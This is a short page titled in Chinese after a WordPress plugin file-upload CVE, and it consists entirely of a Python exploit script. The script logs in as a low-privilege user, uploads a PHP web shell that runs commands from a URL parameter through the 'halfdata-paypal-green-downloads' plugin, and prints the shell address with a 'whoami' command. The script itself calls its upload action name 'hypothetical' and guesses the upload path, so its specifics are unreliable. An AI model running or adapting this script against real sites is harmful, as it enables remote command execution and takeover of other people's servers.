CVE-2026-32536 WordPress插件任意文件上传漏洞

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" login_url = "http://example.com/wp-login.php" # Attacker credentials (Low privilege user) username = "attacker" password = "password" # 1. Authenticate to the WordPress site session = requests.Session() payload = { 'log': username, 'pwd': password, 'redirect_to': target_url, 'wp-submit': 'Log In' } session.post(login_url, data=payload) # 2. Prepare the malicious file upload # Exploiting the 'halfdata-paypal-green-downloads' upload vulnerability files = { 'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php') } data = { 'action': 'halfdata_upload_action' # Hypothetical action name based on plugin structure } # 3. Send the upload request response = session.post(target_url, files=files, data=data) # 4. Check if upload was successful if response.status_code == 200 and "success" in response.text: print("[+] File uploaded successfully!") # Assuming the upload directory is predictable shell_url = "http://example.com/wp-content/uploads/shell.php" print(f"[+] Access your shell at: {shell_url}?cmd=whoami") else: print("[-] Upload failed.")